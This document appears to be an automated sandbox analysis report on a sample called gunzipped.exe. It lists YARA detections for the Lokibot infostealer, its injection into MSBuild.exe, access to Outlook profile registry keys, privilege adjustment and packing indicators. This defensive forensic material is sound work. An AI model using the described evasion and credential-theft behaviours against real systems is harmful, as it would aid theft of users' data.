Source: 1.0.MSBuild.exe.400000.2.raw.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 1.0.MSBuild.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 1.0.MSBuild.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 1.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 1.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000002.931501458.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Loki Payload Author: kevoreilly
Source: 00000001.00000002.931501458.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000000.668076013.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Loki Payload Author: kevoreilly
Source: 00000001.00000000.668076013.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.672292880.000000001270F000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000000.668425098.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Loki Payload Author: kevoreilly
Source: 00000001.00000000.668425098.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000000.669222842.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Loki Payload Author: kevoreilly
Source: 00000001.00000000.669222842.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000000.668771421.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Loki Payload Author: kevoreilly
Source: 00000001.00000000.668771421.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.670595515.000000000275A000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group

Source: gunzipped.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED

Source: 1.0.MSBuild.exe.400000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 1.0.MSBuild.exe.400000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 1.0.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 1.0.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 1.0.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 1.0.MSBuild.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 1.0.MSBuild.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 1.0.MSBuild.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 1.0.MSBuild.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 1.0.MSBuild.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 1.0.MSBuild.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 1.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 1.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 1.0.MSBuild.exe.400000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 1.0.MSBuild.exe.400000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 1.0.MSBuild.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 1.0.MSBuild.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 1.0.MSBuild.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 1.0.MSBuild.exe.400000.3.raw.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 1.0.MSBuild.exe.400000.3.raw.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 1.0.MSBuild.exe.400000.3.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 1.0.MSBuild.exe.400000.3.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 1.0.MSBuild.exe.400000.3.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 1.0.MSBuild.exe.400000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 1.0.MSBuild.exe.400000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 1.0.MSBuild.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 1.0.MSBuild.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 1.0.MSBuild.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 1.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 1.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000002.931501458.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 00000001.00000002.931501458.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000000.668076013.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 00000001.00000000.668076013.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.672292880.000000001270F000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000000.668425098.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 00000001.00000000.668425098.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000000.669222842.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 00000001.00000000.669222842.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000000.668771421.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 00000001.00000000.668771421.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.670595515.000000000275A000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research

Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 0_2_00007FFA363D17D5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040549C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004029D4

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 0041219C appears 45 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 00405B6F appears 42 times

Source: gunzipped.exe, 00000000.00000002.670076841.000000000093A000.00000004.00000020.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs gunzipped.exe
Source: gunzipped.exe, 00000000.00000000.662111954.000000000041A000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameLLLOOOLKKIIII.exe4 vs gunzipped.exe
Source: gunzipped.exe, 00000000.00000002.670163943.0000000000A40000.00000004.00020000.sdmp	Binary or memory string: OriginalFilename vs gunzipped.exe
Source: gunzipped.exe, 00000000.00000002.670315004.00000000026A1000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameResourceAssembly.dllD vs gunzipped.exe
Source: gunzipped.exe, 00000000.00000002.672382490.0000000012729000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameResourceAssembly.dllD vs gunzipped.exe
Source: gunzipped.exe, 00000000.00000002.670201733.0000000000A90000.00000004.00020000.sdmp	Binary or memory string: OriginalFilenameResourceAssembly.dllD vs gunzipped.exe
Source: gunzipped.exe	Binary or memory string: OriginalFilenameLLLOOOLKKIIII.exe4 vs gunzipped.exe

Source: gunzipped.exe

Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: gunzipped.exe

Static PE information: invalid certificate

Source: gunzipped.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: gunzipped.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\gunzipped.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Users\user\Desktop\gunzipped.exe "C:\Users\user\Desktop\gunzipped.exe"
Source: C:\Users\user\Desktop\gunzipped.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe
Source: C:\Users\user\Desktop\gunzipped.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_0040650A LookupPrivilegeValueW,AdjustTokenPrivileges,

Source: C:\Users\user\Desktop\gunzipped.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\gunzipped.exe.log

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/3@60/3

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_0040434D CoInitialize,CoCreateInstance,VariantInit,SysAllocString,VariantInit,VariantInit,SysAllocString,VariantInit,SysFreeString,SysFreeString,CoUninitialize,

Source: 1.2.MSBuild.exe.510000.1.unpack, Microsoft.Build/CommandLine/OutOfProcTaskHostNode.cs	Task registration methods: 'RegisterTaskObject', 'UnregisterPacketHandler', 'RegisterPacketHandler', 'UnregisterTaskObject', 'GetRegisteredTaskObject'
Source: 1.2.MSBuild.exe.510000.1.unpack, Microsoft.Build/Shared/TaskLoader.cs	Task registration methods: 'CreateTask'
Source: 1.2.MSBuild.exe.510000.1.unpack, Microsoft.Build/BackEnd/TaskParameter.cs	Task registration methods: 'CreateNewTaskItemFrom'
Source: 1.2.MSBuild.exe.510000.1.unpack, Microsoft.Build/Shared/RegisteredTaskObjectCacheBase.cs	Task registration methods: '.cctor', 'GetLazyCollectionForLifetime', 'RegisterTaskObject', 'DisposeObjects', 'IsCollectionEmptyOrUncreated', '.ctor', 'UnregisterTaskObject', 'DisposeCacheObjects', 'GetRegisteredTaskObject', 'GetCollectionForLifetime'

Source: 1.2.MSBuild.exe.510000.1.unpack, Microsoft.Build/BackEnd/NodeEndpointOutOfProcBase.cs	Security API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
Source: 1.2.MSBuild.exe.510000.1.unpack, Microsoft.Build/BackEnd/NodeEndpointOutOfProcBase.cs	Security API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent(System.Boolean)
Source: 1.2.MSBuild.exe.510000.1.unpack, Microsoft.Build/BackEnd/NodeEndpointOutOfProcBase.cs	Security API names: System.Void System.IO.Pipes.PipeSecurity::AddAccessRule(System.IO.Pipes.PipeAccessRule)
Source: 1.2.MSBuild.exe.510000.1.unpack, Microsoft.Build/Internal/CommunicationsUtilities.cs	Security API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
Source: 1.2.MSBuild.exe.510000.1.unpack, Microsoft.Build/Internal/CommunicationsUtilities.cs	Security API names: System.Boolean System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole)

Source: C:\Users\user\Desktop\gunzipped.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Mutant created: \Sessions\1\BaseNamedObjects\8F9C4E9C79A3B52B3F739430

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: C:\Users\user\Desktop\gunzipped.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook

Source: gunzipped.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: gunzipped.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:

Binary string: .pdbBSJB source: gunzipped.exe, 00000000.00000002.670163943.0000000000A40000.00000004.00020000.sdmp

Data Obfuscation:

Yara detected aPLib compressed binary

Show sources

Source: Yara match	File source: 1.0.MSBuild.exe.400000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.MSBuild.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.MSBuild.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.MSBuild.exe.400000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.MSBuild.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.MSBuild.exe.400000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.MSBuild.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.MSBuild.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.MSBuild.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.931501458.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.668076013.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.672292880.000000001270F000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.668425098.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.669222842.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.668771421.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.670595515.000000000275A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: gunzipped.exe PID: 7116, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 1852, type: MEMORYSTR

Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 0_2_00007FFA363D402D push es; retn 7002h
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 0_2_00007FFA363D7974 pushad ; retf
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00402AC0 push eax; ret
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00402AC0 push eax; ret

Source: initial sample

Static PE information: section name: .text entropy: 7.8171876408

Source: C:\Users\user\Desktop\gunzipped.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\gunzipped.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\gunzipped.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\gunzipped.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\gunzipped.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\gunzipped.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\gunzipped.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\gunzipped.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\gunzipped.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\gunzipped.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\gunzipped.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\gunzipped.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\gunzipped.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\gunzipped.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\gunzipped.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\gunzipped.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
